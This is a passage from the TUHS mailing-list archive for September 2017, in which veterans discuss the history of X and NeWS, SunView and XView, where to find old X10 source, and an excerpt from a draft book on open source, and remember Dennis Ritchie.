> >  NeWS was released nobody except Sun knew how to do the graphics (even
> >  Adobe didn't know how to do it fast for display) and Apollo et. al.
> > was
> >  worried that Sun would give NeWS away and make it yet another de
> > facto
> >  standard a la NFS. This led to the formation of the Hamilton Group
> > which
> >  was a thinly-disguised industry consortium that existed only for the
> >  purpose of making sure that NeWS didn't succeed.
> >
> >  > DEC, IBM, and HP, all seemed to be playing follow the leader to Sun
> > for
> >  > many years.
> >
> >  I mentioned this to a lot of people after Sun died. Few seem to
> > realize
> >  how much of what became PC manufacturing technology resulted from
> > innovations
> >  at Sun.
> >
> >  ron at ronnatalie.com writes:
> >  >
> >  > NeWS had serious issues. However, the same guy who was the NeWS
> > proponent
> >  > learned from mistakes and the result was the must more successful
> > Sun
> >  > tehnology: JAVA.
> >
> >  I'm going to take issue with the above. NeWS had way fewer serious
> > issues
> >  than X. It's main reason for failure was the coordinated effort to
> > kill it
> >  from others in the industry. As the guy who single-handedly prevented
> > X
> >  from becoming an ANSI standard, I'd be happy to start another thread
> > on
> >  this topic if people are interested. Part of the result of the
> > Hamilton
> >  Group effort was the misguided attempt to merge X and NeWS which was
> > a
> >  botched disaster.
> >
> >  Java is not the result of learning from mistakes in NeWS. I have
> > joked with
> >  James that I feel that his legacy is being the person who first
> > realizes that
> >  technology is changing to the point where something can be done using
> > an
> >  interpreter. If you look at his project history, he's done this many
> > times.
> >  I think that it's more accurate to say that Java is the result of a
> > lifetime
> >  of learning from interpreter projects. I fully expect some new
> > interpreter
> >  to take over AWS sometime soon :-)
> >
> >  Jon
> >

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From ron at ronnatalie.com  Wed Sep 13 23:38:12 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Wed, 13 Sep 2017 09:38:12 -0400
Subject: [TUHS] Mobile Strategies
Message-ID: <009d01d32c95$8c03e0d0$a40ba270$@ronnatalie.com>

Trying a one solution fits all approach was always Microsoft's approach.
Back over a decade ago when I was big into MFC development, it was amazing
how much of the Windows bloat was present in WINCE (or Windows Moble as they
later styled it).    It's almost impossible to differentiate a desktop and
mobile on the Windows side.   They tout it as an advantage.

Oddly, Android gives an indication of how to do it right.   Sure, you can
take the essentials out of the common system, but you don't have to move
inappropriate bloat over.



From krewat at kilonet.net  Thu Sep 14 01:16:22 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 13 Sep 2017 11:16:22 -0400
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709130355.v8D3t3Li032157@darkstar.fourwinds.com>
References: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
 <20170913020628.GA17888@wopr>
 <CAP6exY+PmBpQN6JW2xxW=eFP6ag9XxBLKm16JRNYFsreFzvL5g@mail.gmail.com>
 <201709130355.v8D3t3Li032157@darkstar.fourwinds.com>
Message-ID: <165792c1-50b3-c6d3-4719-9f744a3da4aa@kilonet.net>



On 9/12/2017 11:55 PM, Jon Steinhart wrote:
>
> I look at the systemd problem slightly differently.  In short, I was
> coming into work one night at BTL when Ken was heading out the door for
> his sabbatical at UCB with a stack of mag tapes under his arm.  I see
> that as a pivotal moment in computer history.  Students could learn from
> an actual real computer system; they had source code access.  And, they
> had the ability to modify and contribute to that code.  A lot of students
> from that era went out to do great things.  Years later, the lower cost
> of PCs resulted in students using them for their work.  Not only was MS-DOS
> not as advanced a system as UNIX, but source code access was gone.  Students
> had to learn from contrived projects, and didn't have the ability to play
> with the guts of the operating system that they were using.
Completely agree. To keep beating the dead horse, in high school we had 
access to a PDP-10, a KA10 running TOPS-10 5.06 - later they switched to 
4 KS10s running TOPS-10 6.03

I gained some notoriety as a hacker, and was tasked by the consulting 
firm that ran the things to build a "better" MIC (a batch scripting tool 
that allowed you to run things offline and go back later to look at the 
results). I had exploited the original DEC version to give me access to 
[1,2] ;)

Anyway, during that period, I was allowed to visit the installation, and 
if it was a weekend when students weren't on, to mount the "black" RP06 
pack that had all the TOPS-10 sources on it, and look at or print out 
anything I wanted (look or print, same thing, really, the access was via 
LA120). I learned a lot. Went on to work for the place for a few years.

Somewhere during that time, I was exposed to the IBM-PC and PCDOS. 
Except for my own projects in assembler, the IBM DOS and Technical 
Reference Manuals were all I had access to. HOWEVER - IBM in their 
infinite wisdom actually provided the sources to the BIOS in the manual. 
Still have that manual. That was awesome. I didn't have the DOS sources, 
but it wasn't hard to disassemble them with DEBUG and take a peak 
anyway. Back then, it was all written in assembler anyway, so it was 
only missing the symbols. Nothing was "out of reach".

Now, with C or C++, or worse, higher-level languages being the default 
choices, that optimize everything to death, it's hard to disassemble 
anything and really "see" what it's trying to accomplish, and how. Not 
impossible, I've done some reverse engineering of various OS's, but 
nothing spectacular.

For today's kids, well, it's a much different story. My son has a CS 
degree, but has almost no experience really peaking under the hood of 
any OS - some small ventures into kernels, but nothing huge like UNIX. 
Which brings me to another thing. Linux sources are freely available, 
and yet I don't see anyone really looking at them as an educational 
thing. I might be wrong, my experience in higher education is NONE.




From jon at fourwinds.com  Thu Sep 14 01:19:47 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 13 Sep 2017 08:19:47 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <alpine.DEB.2.11.1709131554150.2676@grey.csi.cam.ac.uk>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <alpine.DEB.2.11.1709131554150.2676@grey.csi.cam.ac.uk>
Message-ID: <201709131519.v8DFJlJm015918@darkstar.fourwinds.com>

Tony Finch writes:
> Finally, a question: is there a good comparison of NeWS vs NeXT Display
> Postscript anywhere?

Not that I'm aware of.  The main difference was in the name; Display
Postscipt just displayed Postscript; it's what NeXT used for higher
quality rendering.  NeWS was a window management system that included
Postscript graphics.


From dot at dotat.at  Thu Sep 14 01:09:53 2017
From: dot at dotat.at (Tony Finch)
Date: Wed, 13 Sep 2017 16:09:53 +0100
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
Message-ID: <alpine.DEB.2.11.1709131554150.2676@grey.csi.cam.ac.uk>

A couple of NeWS-related links which I saved back in March:

A book / conference report surveying the state of Window Management in
1985, specifically the chapter on an early version of NeWS:

http://www.chilton-computing.org.uk/inf/literature/books/wm/p005.htm

The amazing NeFS, the Network Extensible File System, which was supposed
to be version 3 of NFS, based on in-kernel PostScript.

Thankfully it died :-)

http://www.donhopkins.com/home/nfs3_0.pdf

Last year, an appreciation of NeWS written from a modern perspective,
including some comparisons with the JS / HTML / CSS / SVG web:

https://medium.com/@slavapestov/yesterdays-news-c52f2be95205

Finally, a question: is there a good comparison of NeWS vs NeXT Display
Postscript anywhere?

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Dogger: North or northwest 6 to gale 8, increasing severe gale 9 or storm 10
at first. Moderate or rough, occasionally very rough at first. Rain or
thundery showers. Good, occasionally poor.


From jon at fourwinds.com  Thu Sep 14 01:42:31 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 13 Sep 2017 08:42:31 -0700
Subject: [TUHS] X and NeWS history (long) [ really systemd,
	student access to real code ]
In-Reply-To: <165792c1-50b3-c6d3-4719-9f744a3da4aa@kilonet.net>
References: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
 <20170913020628.GA17888@wopr>
 <CAP6exY+PmBpQN6JW2xxW=eFP6ag9XxBLKm16JRNYFsreFzvL5g@mail.gmail.com>
 <201709130355.v8D3t3Li032157@darkstar.fourwinds.com>
 <165792c1-50b3-c6d3-4719-9f744a3da4aa@kilonet.net>
Message-ID: <201709131542.v8DFgVWp020181@darkstar.fourwinds.com>

Arthur Krewat writes:
> For today's kids, well, it's a much different story. My son has a CS 
> degree, but has almost no experience really peaking under the hood of 
> any OS - some small ventures into kernels, but nothing huge like UNIX. 
> Which brings me to another thing. Linux sources are freely available, 
> and yet I don't see anyone really looking at them as an educational 
> thing. I might be wrong, my experience in higher education is NONE.

I know kids who have poked at this stuff in college.  But, it opens a
whole 'nother can of worms.

UNIX was small.  One could actually understand it pretty easily.

Linux is huge.  I hate to say it, but it's gotten bloated.  And it
suffers from a problem with open source.  Don't get me wrong, I love
open source, but it's not perfect.

I'm worried that I'm going to come across as flogging my in-process book
too much on this list.  Not my intent, it's just that I've already
written stuff that addresses this topic.  Here's what I have to say on
it (this part hasn't been attacked by my editor yet).

It's way cool to me that I can run it through nroff and have it work!


            A Young Programmer’s Computer Primer

Open Source Software
 Open  source software is widely successful despite alarmist propaganda
 by some established closed‐source companies.1 A main advantage of open
 source  software  is  that many more eyeballs are available to look at
 the code which translates into  benefits  such  as  greater  security.
 Even  if  you  used  a closed source computer system there is a pretty
 good chance that you’re still using some open source components.

 The development of open source software was greatly  enhanced  by  the
 Internet  and  ‘‘cloud’’  services.   It’s trivial to find open source
 projects and to start your own.  But, and  this  is  a  big  but,  the
 majority of open source projects out there are garbage.

 A  lot  of  open  source  software comes from student projects.  Since
 they’re often first projects, the authors haven’t yet mastered the art
 of writing good code.  And, much of this software is unfinished as the
 student finished their class or graduated  or  just  moved  on.   It’s
 often  easier  to  rewrite  something  than  it is to decipher someone
 else’s poorly written and documented code.  This is  a  viscous  cycle
 because  the rewrite often doesn’t get done so there are multiple ver‐
 sions which don’t work in different ways.2  It’s  often  difficult  to
 determine  whether or not there is a good working version of something
 because there is so much litter.

 There is a belief that one of the advantages of open  source  software
 is  that  you can fix bugs that you find.  Unfortunately, much of this
 software is so poorly written and completely undocumented  making  the
 amount of effort required too great for a casual user.

 Just  because  something is open source doesn’t mean that it’s a great
 example of the craft.  But, you can learn what not to do just as  well
 as you can learn what to do from looking at other’s code.

 There  are two indicators, one positive and one negative, that you can
 use to help determine the quality of a piece of code.

 The positive indicator is whether or not a  project  is  under  active
 development3 with more than one contributor.   It  often  helps  if  a
 project  is  supported  by  some organization.  Many of the major open
 source projects originated  at  companies4  who  still  support  their
 development.   Others  have  been  donated by companies to foundations
 that support their development.  This often yields a consistent vision
 which  keeps  the  project on track.  This indicator is not completely
 reliable5 so take it with a grain of salt.

 The  negative indicator is the type and quantity of dialog that you’ll
 see at various programmer ‘‘self‐help’’ web sites.  If you see lots of
 ‘‘I  can’t  figure out how to make this work?’’ and ‘‘Where do I start
 to make this change?’’ questions then it’s probably not a great  piece
 of code.  Furthermore, if the responses are mostly useless non‐answers
 or snarky and unhelpful then the project probably lacks good  develop‐
 ers.   Developers who blame the questioner for their own lack of qual‐
 ity work are not good role models.  Of course, it’s also a bad sign if
 there are no comments or questions as it means that the code is proba‐
 bly not used.

 Cautionary tales aside, open source is a great thing.  Make your  code
 open  source when it makes sense to do so.  But first, learn how to do
 a good job so that your code becomes a good example to others.

 __________________________
  1 For example, Microsoft claimed that ‘‘Open source is  an  intel‐
    lectual  property  destroyer.   I  can’t  imagine something that
    could be worse than this for the software business and  the  in‐
    tellectual‐property  business’’  despite the fact that they were
    secretly using open source tools in‐house.

  2 I recently needed to extract tags from mp3 files and  tried  six
    different open‐source programs each of which failed in a differ‐
    ent way.

  3 This  doesn’t apply to projects that have been around for a long
    time and are actually ‘‘done’’.

  4 One must be careful of open source projects created at companies
    who are later acquired by companies with different philosophies.
    For example, Sun Microsystems was a prodigious developer of open
    source  software  including  OpenOffice,  Java,  and VirtualBox.
    However, Sun was acquired by Oracle who ended support  for  some
    of these projects and tried to find ways to control and monetize
    others; see the Oracle versus Google lawsuit for details.

  5 For example, the code base for the  firefox  web  browser  is  a
    poorly documented complete mess.


 Copyright © 2001‐2017 Jonathan E. Steinhart.  All Rights Reserved - Page 2


From richard at inf.ed.ac.uk  Thu Sep 14 01:17:04 2017
From: richard at inf.ed.ac.uk (Richard Tobin)
Date: Wed, 13 Sep 2017 16:17:04 +0100 (BST)
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: Larry McVoy's message of Tue, 12 Sep 2017 15:58:51 -0700
Message-ID: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>

> The rest of your story is great, just one small correction.  SunView started
> as something Sun specific but it pretty quickly became a library on top of
> X11.  I'm not sure if it ever worked on X10, I think it did but I'm not sure.

As I recall it, SunTools (the original Sun window system) was renamed
SunView, and the API was ported to X11 under the name XView.

> Source: I've hacked up GUI interfaces for the SCM I did at Sun in Sunview.
> This would have been around 1990, is that still X10 or X11?

X11 came out in 1987.  I The first version I remember using is X11R3,
which came out in 1988.

See https://www.x.org/wiki/X11R1 (and .../X11R2 etc)

-- Richard

-- 
The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.



From jon at fourwinds.com  Thu Sep 14 02:01:16 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Wed, 13 Sep 2017 09:01:16 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>
References: <20170913151704.645B115230E4@macaroni.inf.ed.ac.uk>
Message-ID: <201709131601.v8DG1GZs024063@darkstar.fourwinds.com>

Richard Tobin writes:
> > The rest of your story is great, just one small correction.  SunView started
> > as something Sun specific but it pretty quickly became a library on top of
> > X11.  I'm not sure if it ever worked on X10, I think it did but I'm not sure.
> 
> As I recall it, SunTools (the original Sun window system) was renamed
> SunView, and the API was ported to X11 under the name XView.
> 
> > Source: I've hacked up GUI interfaces for the SCM I did at Sun in Sunview.
> > This would have been around 1990, is that still X10 or X11?
> 
> X11 came out in 1987.  I The first version I remember using is X11R3,
> which came out in 1988.
> 
> See https://www.x.org/wiki/X11R1 (and .../X11R2 etc)

Yes, it was originally SunTools and was renamed SunView.  But, XView was a
bit different although my memory of it all might be fading.

XView was a library that mapped SunView calls into X.  But, I have a faint
memory that there was more to it than that.  I think that there was a
conversion program that one had to run on the source code as part of the
conversion, and that that processor put flagging comments in for things
that couldn't automatically be converted.

My only clear memory of it is that it didn't work well right off the bat
because of the transition from 68K machines to Sparc.  Warren ??? hired
me on an emergency contract to fix it.  Turned out to be piles of pointer
alignment errors.  In what was typical for Sun, I fixed it promptly but
it took months to get paid.

The reason that that part sticks in my mind is that I got an IRS audit at
the time because it was right when they started looking at people claiming
to be contractors when they weren't.  I remember the IRS guy asking me for
the dates of work and payments.  I remember telling him when I worked for
Sun and having him respond with something like "oh yeah, for xxx dollars"
and realizing that he had all of the info that I did so I'd better be
accurate.  And I remember telling him "yeah, I worked on those dates and
billed for that amount but still haven't been paid."


From stewart at serissa.com  Thu Sep 14 02:14:33 2017
From: stewart at serissa.com (Lawrence Stewart)
Date: Wed, 13 Sep 2017 12:14:33 -0400
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
Message-ID: <4A06061D-0CFE-4B59-96F2-9B09C0276665@serissa.com>


> On 2017, Sep 12, at 8:52 PM, ron minnich <rminnich at gmail.com> wrote:
> 
> 
> 
> On Tue, Sep 12, 2017 at 5:30 PM Bakul Shah <bakul at bitblocks.com <mailto:bakul at bitblocks.com>> wrote:
> Unix still needs a decent graphics API (ideally one that can work over a network).
> 
> 
> does anyone know or care about network graphics any more? From what I can tell, no.
> 
> ron 

Well I do.  I’ve been looking at gigantic simulator trace files recently, and the graphics is far smaller than the underlying data.


-L

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/263b125a/attachment.html>

From chris at groessler.org  Thu Sep 14 02:38:29 2017
From: chris at groessler.org (Christian Groessler)
Date: Wed, 13 Sep 2017 18:38:29 +0200
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
Message-ID: <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>

On 09/13/17 02:14, Jon Steinhart wrote:
> Cool, thanks for the info.  Based on the date, this was probably X10, not
> X11.


Ever since I got in contact with X11 (around 92/93 with my first Linux 
and 386BSD installations), I was
wondering what happened to the previous versions.

You mention X10. Is there any documentation of source code of it available?

And what about X1 to X9?

regards,
chris



From beebe at math.utah.edu  Thu Sep 14 04:54:27 2017
From: beebe at math.utah.edu (Nelson H. F. Beebe)
Date: Wed, 13 Sep 2017 12:54:27 -0600
Subject: [TUHS] X and NeWS history (long)
Message-ID: <CMM.0.95.0.1505328867.beebe@gamma.math.utah.edu>

Here is a BibTeX entry for a book on the NeWS system:

@String{pub-SV                  = "Spring{\-}er-Ver{\-}lag"}
@String{pub-SV:adr              = "Berlin, Germany~/ Heidelberg,
                                  Germany~/ London, UK~/ etc."}

@Book{Gosling:1989:NBI,
  author =       "James Gosling and David S. H. Rosenthal and Michelle
                 Arden",
  title =        "The {NeWS} Book: an introduction to the {Network\slash
                 extensible Window System}",
  publisher =    pub-SV,
  address =      pub-SV:adr,
  pages =        "vi + 235",
  year =         "1989",
  ISBN =         "0-387-96915-2",
  ISBN-13 =      "978-0-387-96915-2",
  LCCN =         "QA76.76.W56 A731 1989",
  bibdate =      "Tue May 25 07:20:00 1999",
  bibsource =    "http://www.math.utah.edu/pub/tex/bib/unix.bib",
  keywords =     "NeWS (computer file); Windows (computer programs)",
}

It is the only book that I have recorded on NeWS (I have it on my
office bookshelf).  If there is interest, I can post links to 10 or
so journal articles and conference proceedings about NeWS from
1986 to 1990.

-------------------------------------------------------------------------------
- Nelson H. F. Beebe                    Tel: +1 801 581 5254                  -
- University of Utah                    FAX: +1 801 581 4148                  -
- Department of Mathematics, 110 LCB    Internet e-mail: beebe at math.utah.edu  -
- 155 S 1400 E RM 233                       beebe at acm.org  beebe at computer.org -
- Salt Lake City, UT 84112-0090, USA    URL: http://www.math.utah.edu/~beebe/ -
-------------------------------------------------------------------------------


From khm at sciops.net  Thu Sep 14 05:10:48 2017
From: khm at sciops.net (Kurt H Maier)
Date: Wed, 13 Sep 2017 12:10:48 -0700
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
References: <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
Message-ID: <20170913191048.GB25914@wopr>

On Wed, Sep 13, 2017 at 06:38:29PM +0200, Christian Groessler wrote:
> 
> You mention X10. Is there any documentation of source code of it available?

You can look at some X10 source here:
http://www.retro11.de/ouxr/43bsd/usr/src/new/X/



From henry.r.bent at gmail.com  Thu Sep 14 05:13:46 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 13 Sep 2017 15:13:46 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <20170913191048.GB25914@wopr>
References: <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <20170913191048.GB25914@wopr>
Message-ID: <CAEdTPBf8rstbsV-o4Es6mu=cPKXgXqtk2=LOuyCpo85COP-0+Q@mail.gmail.com>

On 13 September 2017 at 15:10, Kurt H Maier <khm at sciops.net> wrote:

> On Wed, Sep 13, 2017 at 06:38:29PM +0200, Christian Groessler wrote:
> >
> > You mention X10. Is there any documentation of source code of it
> available?
>
> You can look at some X10 source here:
> http://www.retro11.de/ouxr/43bsd/usr/src/new/X/
>
>
Full X10R3 and R4 source is still on x.org:

ftp://ftp.x.org/pub/X10R3/
ftp://ftp.x.org/pub/X10R4/

-Henry
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/3c7b3752/attachment.html>

From rminnich at gmail.com  Thu Sep 14 07:27:05 2017
From: rminnich at gmail.com (ron minnich)
Date: Wed, 13 Sep 2017 21:27:05 +0000
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CMM.0.95.0.1505328867.beebe@gamma.math.utah.edu>
References: <CMM.0.95.0.1505328867.beebe@gamma.math.utah.edu>
Message-ID: <CAP6exYLQi0Hn47mBwkfzsBYJG+P-ptS8XtF7Pi-HEo8_ZH-xYQ@mail.gmail.com>

sorry if I missed it, but is the NeWS source lost forever? I could have
sworn it was released at some point.

On Wed, Sep 13, 2017 at 11:55 AM Nelson H. F. Beebe <beebe at math.utah.edu>
wrote:

> Here is a BibTeX entry for a book on the NeWS system:
>
> @String{pub-SV                  = "Spring{\-}er-Ver{\-}lag"}
> @String{pub-SV:adr              = "Berlin, Germany~/ Heidelberg,
>                                   Germany~/ London, UK~/ etc."}
>
> @Book{Gosling:1989:NBI,
>   author =       "James Gosling and David S. H. Rosenthal and Michelle
>                  Arden",
>   title =        "The {NeWS} Book: an introduction to the {Network\slash
>                  extensible Window System}",
>   publisher =    pub-SV,
>   address =      pub-SV:adr,
>   pages =        "vi + 235",
>   year =         "1989",
>   ISBN =         "0-387-96915-2",
>   ISBN-13 =      "978-0-387-96915-2",
>   LCCN =         "QA76.76.W56 A731 1989",
>   bibdate =      "Tue May 25 07:20:00 1999",
>   bibsource =    "http://www.math.utah.edu/pub/tex/bib/unix.bib",
>   keywords =     "NeWS (computer file); Windows (computer programs)",
> }
>
> It is the only book that I have recorded on NeWS (I have it on my
> office bookshelf).  If there is interest, I can post links to 10 or
> so journal articles and conference proceedings about NeWS from
> 1986 to 1990.
>
>
> -------------------------------------------------------------------------------
> - Nelson H. F. Beebe                    Tel: +1 801 581 5254
> <(801)%20581-5254>                  -
> - University of Utah                    FAX: +1 801 581 4148
> <(801)%20581-4148>                  -
> - Department of Mathematics, 110 LCB    Internet e-mail:
> beebe at math.utah.edu  -
> - 155 S 1400 E RM 233                       beebe at acm.org
> beebe at computer.org -
> - Salt Lake City, UT 84112-0090, USA    URL:
> http://www.math.utah.edu/~beebe/ -
>
> -------------------------------------------------------------------------------
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/893f0f09/attachment.html>

From dave at horsfall.org  Thu Sep 14 09:22:52 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 14 Sep 2017 09:22:52 +1000 (EST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709100944.v8A9iPeb024293@freefriends.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
Message-ID: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>

On Sun, 10 Sep 2017, arnold at skeeve.com wrote:

> I just want to say that Dennis Ritchie was "a scholar and a gentleman". 
> He was always warm, polite, friendly, and down to earth, both in his 
> correspondance with me, and in direct conversation the few times I 
> talked to him in person at USENIX conferences.  He helped out A LOT when 
> I had Unix history questions for whatever books I happened to be 
> writing.

He was at an AUUG conference in Sydney, and although I never got to shake 
hands with him (he had too many fans around him, and I had a home and a 
wife to go back to, not to mention two cats), he struck me as being the 
perfect gentleman.  Mr. and Mrs. Ritchie, you raised a damned good son...

> Not only to me, of course, but he was that way with everyone. He also 
> had a warm sense of humor, and was very active in the TUHS and Unix 
> history preservation.

Agreed.

> He continues to be missed.

And I just wish that the Penguin/OS community would realise this; if you 
believe those silly sods, you'd think that they invented Unix...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From dave at horsfall.org  Thu Sep 14 09:55:57 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 14 Sep 2017 09:55:57 +1000 (EST)
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS  ]
In-Reply-To: <20170913133542.GJ24549@mcvoy.com>
References: <e80f2b740332dca1fead3df398995c798101a79f@webmail.yaccman.com>
 <201709130730.v8D7UNog003861@freefriends.org>
 <20170913133542.GJ24549@mcvoy.com>
Message-ID: <alpine.BSF.2.21.1709140952510.89458@aneurin.horsfall.org>

On Wed, 13 Sep 2017, Larry McVoy wrote:

> Yeah but not the SCCS history.  And the source tapes went through Bill 
> Shannon who would grep the source for swear words and other stuff before 
> blessing it.  At least that's how it was when I was there.

I would love to see his list; I might learn a few new words :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From henry.r.bent at gmail.com  Thu Sep 14 10:18:06 2017
From: henry.r.bent at gmail.com (Henry Bent)
Date: Wed, 13 Sep 2017 20:18:06 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
